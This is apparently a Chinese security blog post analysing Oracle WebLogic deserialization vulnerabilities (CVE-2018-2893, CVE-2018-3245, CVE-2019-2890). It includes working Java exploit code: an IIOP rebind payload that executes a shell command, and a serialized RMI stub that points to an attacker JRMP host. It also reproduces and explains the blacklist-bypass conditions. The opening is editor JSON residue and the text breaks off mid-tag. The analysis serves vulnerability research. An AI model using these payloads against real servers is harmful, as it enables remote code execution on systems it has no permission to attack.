\&#34;7001\&#34;;&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;IBH3-1682255943013&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;2QNm-1682255943012&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;        String rhost = String.format(\&#34;iiop://%s:%s\&#34;, ip, port);&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;Mtg9-1682255943015&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;BfA3-1682255943014&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;q7p2-1682255943017&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;L9u2-1682255943016&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;        Hashtable&lt;String, String&gt; env = new Hashtable&lt;String, String&gt;();&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;9yJE-1682255943019&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;oyw0-1682255943018&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;        // add wlsserver/server/lib/weblogic.jar to classpath,else will error.&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;V1Nh-1682255943021&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;C14h-1682255943020&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;        env.put(\&#34;java.naming.factory.initial\&#34;, \&#34;weblogic.jndi.WLInitialContextFactory\&#34;);&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;nyCZ-1682255943023&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;9q1L-1682255943022&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;        env.put(Context.PROVIDER_URL, rhost);&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;TuYc-1682255943025&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;TsDn-1682255943024&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;ozTP-1682255943027&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;3QUJ-1682255943026&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;        Context context = new InitialContext(env);&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;BtBU-1682255943029&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;fJH2-1682255943028&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;o7va-1682255943031&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;sdWk-1682255943030&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;        ClassIdentity classIdentity = new ClassIdentity(EvilObj.class);&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;E4CN-1682255943033&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;Dlz1-1682255943032&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;        ClassPool cp = ClassPool.getDefault();&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;Z1dA-1682255943035&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;JoOI-1682255943034&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;        CtClass ctClass = cp.get(EvilObj.class.getName());&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;jWxb-1682255943037&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;ogjD-1682255943036&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;        ctClass.replaceClassName(EvilObj.class.getName(),  EvilObj.class.getName() + \&#34;$\&#34; + classIdentity.getVersion());&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;xiGW-1682255943039&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;ZUHw-1682255943038&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;        RemoteConstructor constructor = new RemoteConstructor(&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;MGnj-1682255943041&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;yzEz-1682255943040&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;                new ClassDefinition(classIdentity, ctClass.toBytecode()),&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;7pj8-1682255943043&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;eeGT-1682255943042&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;                new Object[] {}&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;HQb9-1682255943045&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;nxRH-1682255943044&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;        );&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;C1to-1682255943047&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;afvR-1682255943046&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;// 发送 IIOP 协议数据包&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;7vnI-1682255943049&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;MHuv-1682255943048&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;73ji-1682255943051&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;ouZm-1682255943050&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;//        context.bind(\&#34;hello\&#34;,new Object());&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;FMwy-1682255943053&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;V17K-1682255943052&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;        context.rebind(\&#34;hello\&#34;,constructor);&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;ivnU-1682255943055&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;I3jJ-1682255943054&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;    }&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;a3PK-1682255943057&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;ydv6-1682255943056&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;}&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;7T3U-1682255943059&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;yzzi-1682255943058&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;y4gD-1682255943061&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;5r6o-1682255943060&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;mExK-1682255943063&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;qUVQ-1682255943062&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;//EvilObj.class&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;x36I-1682255943065&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;WzMc-1682255943064&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;public class EvilObj {&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;Kpfg-1682255943067&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;qFs5-1682255943066&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;NUTZ-1682255943069&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;p4kr-1682255943068&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;    public EvilObj() {&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;3tfs-1682255943072&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;AL0U-1682255943071&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;        try {&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;wAou-1682255943074&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;SyoT-1682255943073&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;            Runtime.getRuntime().exec(\&#34;touch /tmp/success222\&#34;);&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;4QZ1-1682255943076&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;ny3Z-1682255943075&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;        } catch (IOException var1) {&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;QDgP-1682255943078&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;uWe1-1682255943077&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;            var1.printStackTrace();&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;WDKo-1682255943080&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;MNUs-1682255943079&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;        }&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;fevx-1682255943082&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;JtnK-1682255943081&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;    }&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;878K-1682255943084&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;9Pxh-1682255943083&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;}&#34;,&#34;marks&#34;:[]}]}]}],&#34;state&#34;:{&#34;language&#34;:&#34;java&#34;}},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;fdYo-1682258583202&#34;,&#34;name&#34;:&#34;paragraph&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;3GeL-1682258583203&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;&#34;,&#34;marks&#34;:[]}]}],&#34;state&#34;:{}},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;UnwE-1682255943125&#34;,&#34;name&#34;:&#34;image&#34;,&#34;data&#34;:{&#34;version&#34;:1,&#34;url&#34;:&#34;https://note.youdao.com/yws/res/6657/WEBRESOURCE9ce07096958101d6f97db047ff7e2baf&#34;,&#34;width&#34;:1450,&#34;height&#34;:324},&#34;nodes&#34;:[],&#34;state&#34;:{&#34;renderSource&#34;:&#34;https://note.youdao.com/yws/res/6657/WEBRESOURCE9ce07096958101d6f97db047ff7e2baf&#34;,&#34;initialSize&#34;:{&#34;width&#34;:1450,&#34;height&#34;:324},&#34;loading&#34;:false}},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;StCy-1682256146100&#34;,&#34;name&#34;:&#34;paragraph&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;Np60-1682256146101&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;&#34;,&#34;marks&#34;:[]}]}],&#34;state&#34;:{}},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;WmDe-1682255962802&#34;,&#34;name&#34;:&#34;heading&#34;,&#34;data&#34;:{&#34;level&#34;:&#34;h1&#34;},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;LBQI-1682255962801&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;后记&#34;,&#34;marks&#34;:[{&#34;type&#34;:&#34;bold&#34;},{&#34;type&#34;:&#34;fontSize&#34;,&#34;value&#34;:26}]}]}]}]" style="caret-color: rgb(0, 0, 0); color: rgb(0, 0, 0); letter-spacing: normal; text-align: start; white-space: normal;"><p><span style="font-weight: bold;font-size: 20px;">CVE-2018-2893</span></p><p>此CVE主要通过JDK7u21与8u20的原生反序列化链绕过之前黑名单中禁用的Common-collections库，就不赘述了。</p><p>同时黑名单进行了更新：</p><section class="code-snippet__fix code-snippet__js"><ul class="code-snippet__line-index code-snippet__js"><li></li><li></li><li></li><li></li><li></li><li></li><li></li></ul><pre class="code-snippet__js" data-lang="typescript"><code><span class="code-snippet_outer"><span class="code-snippet__keyword">private</span> <span class="code-snippet__keyword">static</span> final <span class="code-snippet__built_in">String</span>[] DEFAULT_BLACKLIST_PACKAGES = { <span class="code-snippet__string">&#34;org.apache.commons.collections.functors&#34;</span>, <span class="code-snippet__string">&#34;com.sun.org.apache.xalan.internal.xsltc.trax&#34;</span>, <span class="code-snippet__string">&#34;javassist&#34;</span>, <span class="code-snippet__string">&#34;java.rmi.activation&#34;</span>, <span class="code-snippet__string">&#34;sun.rmi.server&#34;</span> };</span></code><code><span class="code-snippet_outer"> </span></code><code><span class="code-snippet_outer"><span class="code-snippet__keyword">private</span> <span class="code-snippet__keyword">static</span> final <span class="code-snippet__built_in">String</span>[] DEFAULT_BLACKLIST_CLASSES = { <span class="code-snippet__string">&#34;org.codehaus.groovy.runtime.ConvertedClosure&#34;</span>, </span></code><code><span class="code-snippet_outer"><span class="code-snippet__string">&#34;org.codehaus.groovy.runtime.ConversionHandler&#34;</span>, </span></code><code><span class="code-snippet_outer"><span class="code-snippet__string">&#34;org.codehaus.groovy.runtime.MethodClosure&#34;</span>, <span class="code-snippet__string">&#34;org.springframework.transaction.support.AbstractPlatformTransactionManager&#34;</span>,</span></code><code><span class="code-snippet_outer"><span class="code-snippet__string">&#34;java.rmi.server.UnicastRemoteObject&#34;</span>, </span></code><code><span class="code-snippet_outer"><span class="code-snippet__string">&#34;java.rmi.server.RemoteObjectInvocationHandler&#34;</span> };</span></code></pre></section><p>新增</p><section class="code-snippet__fix code-snippet__js"><ul class="code-snippet__line-index code-snippet__js"><li></li><li></li><li></li><li></li><li></li></ul><pre class="code-snippet__js" data-lang="css"><code><span class="code-snippet_outer"><br/></span></code><code><span class="code-snippet_outer"><span class="code-snippet__selector-tag">java</span><span class="code-snippet__selector-class">.rmi</span><span class="code-snippet__selector-class">.activation</span>.*</span></code><code><span class="code-snippet_outer"><span class="code-snippet__selector-tag">sun</span><span class="code-snippet__selector-class">.rmi</span><span class="code-snippet__selector-class">.server</span>.*</span></code><code><span class="code-snippet_outer"><span class="code-snippet__selector-tag">java</span><span class="code-snippet__selector-class">.rmi</span><span class="code-snippet__selector-class">.server</span><span class="code-snippet__selector-class">.RemoteObjectInvocationHandler</span></span></code><code><span class="code-snippet_outer"><span class="code-snippet__selector-tag">java</span><span class="code-snippet__selector-class">.rmi</span><span class="code-snippet__selector-class">.server</span><span class="code-snippet__selector-class">.UnicastRemoteObject</span></span></code></pre></section><p><span style="font-weight: bold;font-size: 20px;"><br/></span></p><p><span style="font-weight: bold;font-size: 20px;">CVE-2018-3245</span></p><p>上文中有提到新增黑名单包名/类名：<span style="font-weight: bold;">java.rmi.activation.*,sun.rmi.server.*</span>,<span style="font-weight: bold;">java.rmi.server.RemoteObjectInvocationHandler</span>,<span style="font-weight: bold;">java.rmi.server.UnicastRemoteObject</span></p><p>但对我们完整的反序列化流程中真正有影响的只有<span style="color: rgb(51, 51, 51);background-color: rgb(255, 255, 255);font-family: Arial;">java.rmi.server.RemoteObjectInvocationHandler类的使用，若有一个类满足：</span></p><p><span style="color: rgb(51, 51, 51);background-color: rgb(255, 255, 255);font-family: Arial;">1.不在黑名单中</span></p><p><span style="color: rgb(51, 51, 51);background-color: rgb(255, 255, 255);font-family: Arial;">2.继承自java.rmi.server.RemoteObject</span></p><p><span style="color: rgb(51, 51, 51);background-color: rgb(255, 255, 255);font-family: Arial;">3.readObject逻辑未重写，或不影响readExtenal方法调用</span></p><p><span style="color: rgb(51, 51, 51);background-color: rgb(255, 255, 255);font-family: Arial;">即可绕过黑名单检测。</span></p><p><img class="rich_pages wxw-img" data-ratio="1.0719844357976653" style="width: 346px;height: 374px;" data-type="png" data-w="1028" src="https://wechat2rss.xlab.app/img-proxy/?k=8eff0228&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2FYOLztAD7Qr7C6bVxeukd6RXTeHv5koIUDOLhUkjFJ7KhJKTK9HiazHJpAEVHlicfaFCxB34wOKBq8Ogf07tP66pA%2F640%3Fwx_fmt%3Dpng"/></p><p>随便找一个都行，比如RMIConnectionImpl_Stub</p><section class="code-snippet__fix code-snippet__js"><ul class="code-snippet__line-index code-snippet__js"><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li></ul><pre class="code-snippet__js" data-lang="java"><code><span class="code-snippet_outer"><span class="code-snippet__keyword">import</span> com.sun.jndi.rmi.registry.ReferenceWrapper_Stub;</span></code><code><span class="code-snippet_outer"><span class="code-snippet__keyword">import</span> sun.rmi.server.UnicastRef;</span></code><code><span class="code-snippet_outer"><span class="code-snippet__keyword">import</span> sun.rmi.transport.LiveRef;</span></code><code><span class="code-snippet_outer"><span class="code-snippet__keyword">import</span> sun.rmi.transport.tcp.TCPEndpoint;</span></code><code><span class="code-snippet_outer"><br/></span></code><code><span class="code-snippet_outer"><span class="code-snippet__keyword">import</span> javax.management.remote.rmi.RMIConnectionImpl_Stub;</span></code><code><span class="code-snippet_outer"><span class="code-snippet__keyword">import</span> java.io.*;</span></code><code><span class="code-snippet_outer"><span class="code-snippet__keyword">import</span> java.rmi.server.ObjID;</span></code><code><span class="code-snippet_outer"><span class="code-snippet__keyword">import</span> java.util.Base64;</span></code><code><span class="code-snippet_outer"><span class="code-snippet__keyword">import</span> java.util.Random;</span></code><code><span class="code-snippet_outer"><br/></span></code><code><span class="code-snippet_outer"><span class="code-snippet__keyword">public</span> <span class="code-snippet__class"><span class="code-snippet__keyword">class</span> <span class="code-snippet__title">CVE_2018_3245</span> </span>{</span></code><code><span class="code-snippet_outer">    <span class="code-snippet__function"><span class="code-snippet__keyword">public</span> <span class="code-snippet__keyword">static</span> Object <span class="code-snippet__title">getObject</span><span class="code-snippet__params">()</span> </span>{</span></code><code><span class="code-snippet_outer">        ObjID id = <span class="code-snippet__keyword">new</span> ObjID(<span class="code-snippet__keyword">new</span> Random().nextInt());</span></code><code><span class="code-snippet_outer">        TCPEndpoint tcpEndpoint = <span class="code-snippet__keyword">new</span> TCPEndpoint(<span class="code-snippet__string">&#34;10.51.52.245&#34;</span>, <span class="code-snippet__number">6666</span>);</span></code><code><span class="code-snippet_outer">        UnicastRef unicastRef = <span class="code-snippet__keyword">new</span> UnicastRef(<span class="code-snippet__keyword">new</span> LiveRef(id, tcpEndpoint, <span class="code-snippet__keyword">false</span>));</span></code><code><span class="code-snippet_outer">        RMIConnectionImpl_Stub stub = <span class="code-snippet__keyword">new</span> RMIConnectionImpl_Stub(unicastRef);</span></code><code><span class="code-snippet_outer">        ReferenceWrapper_Stub object = <span class="code-snippet__keyword">new</span> ReferenceWrapper_Stub(unicastRef);</span></code><code><span class="code-snippet_outer">        <span class="code-snippet__keyword">return</span> stub;</span></code><code><span class="code-snippet_outer">    }</span></code><code><span class="code-snippet_outer"><br/></span></code><code><span class="code-snippet_outer">    <span class="code-snippet__function"><span class="code-snippet__keyword">public</span> <span class="code-snippet__keyword">static</span> <span class="code-snippet__keyword">void</span> <span class="code-snippet__title">main</span><span class="code-snippet__params">(String[] args)</span> <span class="code-snippet__keyword">throws</span> IOException, ClassNotFoundException </span>{</span></code><code><span class="code-snippet_outer">        ByteArrayOutputStream fout = <span class="code-snippet__keyword">new</span> ByteArrayOutputStream();</span></code><code><span class="code-snippet_outer">        ObjectOutputStream objectOutputStream = <span class="code-snippet__keyword">new</span> ObjectOutputStream(fout);</span></code><code><span class="code-snippet_outer">        objectOutputStream.writeObject(getObject());</span></code><code><span class="code-snippet_outer">        objectOutputStream.close();</span></code><code><span class="code-snippet_outer">        System.out.println(Base64.getEncoder().encodeToString(fout.toByteArray()));</span></code><code><span class="code-snippet_outer"><br/></span></code><code><span class="code-snippet_outer"><span class="code-snippet__comment">//        ByteArrayInputStream byteArrayInputStream = new ByteArrayInputStream(fout.toByteArray());</span></span></code><code><span class="code-snippet_outer"><span class="code-snippet__comment">//        ObjectInputStream inputStream = new ObjectInputStream(byteArrayInputStream);</span></span></code><code><span class="code-snippet_outer"><span class="code-snippet__comment">//        inputStream.readObject();</span></span></code><code><span class="code-snippet_outer"><br/></span></code><code><span class="code-snippet_outer">    }</span></code><code><span class="code-snippet_outer">}</span></code></pre></section><p><img class="rich_pages wxw-img" data-ratio="0.44166666666666665" style="width: 377px;height: 174px;" data-type="png" data-w="1080" src="https://wechat2rss.xlab.app/img-proxy/?k=26cc0b4a&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2FYOLztAD7Qr7C6bVxeukd6RXTeHv5koIU79JXQuHvJ6IL5cQIsicEVd52TuT9cCK6oFYncW7NxFNaRvoohK4Mt6g%2F640%3Fwx_fmt%3Dpng"/></p><p><img data-ratio="0.22407407407407406" style="width: 354px;height: 83px;" data-type="png" data-w="1080" src="https://wechat2rss.xlab.app/img-proxy/?k=bc9a9e09&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2FYOLztAD7Qr7C6bVxeukd6RXTeHv5koIU8Qa7sWQ1EnaWQVibaB6WBY3JiaayJHf8p8LsZO8ia4b6OGrv4PsUOmayw%2F640%3Fwx_fmt%3Dpng"/></p><p>其他可利用类就不赘述了。</p><p><span style="font-weight: bold;font-size: 20px;"><br/></span></p><p><span style="font-weight: bold;font-size: 20px;">CVE-2019-2890</span></p><ul yne-block-type="list" class="list-paddingleft-1"><li style="white-space: pre-wrap;line-height: 1.75;font-size: 14px;text-align: left;list-style-position: inside;word-break: break-word;font-family: &#34;Microsoft YaHei&#34;, STXihei;list-style-type: disc;"><p>Weblogic 10.3.6.0.0</p></li><li style="white-space: pre-wrap;line-height: 1.75;font-size: 14px;text-align: left;list-style-position: inside;word-break: break-word;font-family: &#34;Microsoft YaHei&#34;, STXihei;list-style-type: disc;"><p>Weblogic 12.1.3.0.0</p></li><li style="white-space: pre-wrap;line-height: 1.75;font-size: 14px;text-align: left;list-style-position: inside;word-break: break-word;font-family: &#34;Microsoft YaHei&#34;, STXihei;list-style-type: disc;"><p>Weblogic 12.2.1.3.0</p></li></ul><p>问题出现在PersistentContext类上</p><p><img class="rich_pages wxw-img" data-ratio="0.6342592592592593" style="width: 2952px;height: 1872px;" data-type="png" data-w="1080" src="https://wechat2rss.xlab.app/img-proxy/?k=5ddd1081&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2FYOLztAD7Qr7C6bVxeukd6RXTeHv5koIUwmhKysXmbNic2GiaIdhvmShMaE5f7B2ZpjKPPfDYuEyjWe2jQIJb29MQ%2F640%3Fwx_fmt%3Dpng"/></p><p>在PersistentContext的readObject方法中会将ObjectInputStream类的var1对象传入readSubject方法</p><p>readSubject方法会先调用EncryptionUtil.decrypt()对传入的stream流进行解密，并将后续解密后的流量进行反序列化：</p><p><img data-ratio="0.6342592592592593" style="width: 2952px;height: 1872px;" data-type="png" data-w="1080" src="https://wechat2rss.xlab.app/img-proxy/?k=9c31fe05&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2FYOLztAD7Qr7C6bVxeukd6RXTeHv5koIUrED2BVvG0CZZ4GW8IDl2R9cLEFZAwE4dqGb56nxbrPJZ9UiaPYg2JGA%2F640%3Fwx_fmt%3Dpng"/></p><p>由于此处为ObjectInputStream原生的readObject()，并未有其他的readObject重写实现，故在后续过程中能够成功触发恶意反序列化利用链（下图为jrmp利用链执行结果）</p><p><img class="rich_pages wxw-img" data-ratio="0.6342592592592593" style="width: 2952px;height: 1872px;" data-type="png" data-w="1080" 